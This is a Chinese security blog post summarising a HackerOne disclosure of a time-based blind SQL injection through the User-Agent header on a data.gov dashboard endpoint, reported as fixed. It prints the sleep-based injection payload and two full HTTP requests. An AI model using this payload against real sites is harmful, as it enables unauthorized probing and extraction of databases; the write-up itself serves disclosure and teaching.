HackerOne | HTTP头注入之User-Agent注入

Timeline Sec

发布于 2019-12-15 19:58:13

1.6K0

发布于 2019-12-15 19:58:13

文章被收录于专栏：Timeline Sec

漏洞信息

发现者：harisec

漏洞种类：SQL注入

危害等级：严重

漏洞状态：已修复

前言

Harisec在以下网站中发现一个SQL注入漏洞，注入的位置在User-Agent。

https://labs.data.gov/dashboard/datagov/csv_to_json

漏洞再现

Harisec使用了盲注的方式来确认该漏洞

例如：将User-Agent的值设置为

Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5),0))OR'

将导致服务器在25秒后响应

这里，我们看一下具体的数据包内容

GET /dashboard/datagov/csv_to_json HTTP/1.1
Referer: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(5*5),0))OR'
X-Forwarded-For: 1
X-Requested-With: XMLHttpRequest
Host: labs.data.gov
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*

服务器在25秒后响应，与User-Agent的值相同

将User-Agent的值改一下，改成9秒后响应

GET /dashboard/datagov/csv_to_json HTTP/1.1
Referer: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87'XOR(if(now()=sysdate(),sleep(3*3),0))OR'
X-Forwarded-For: 1
X-Requested-With: XMLHttpRequest
Host: labs.data.gov
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*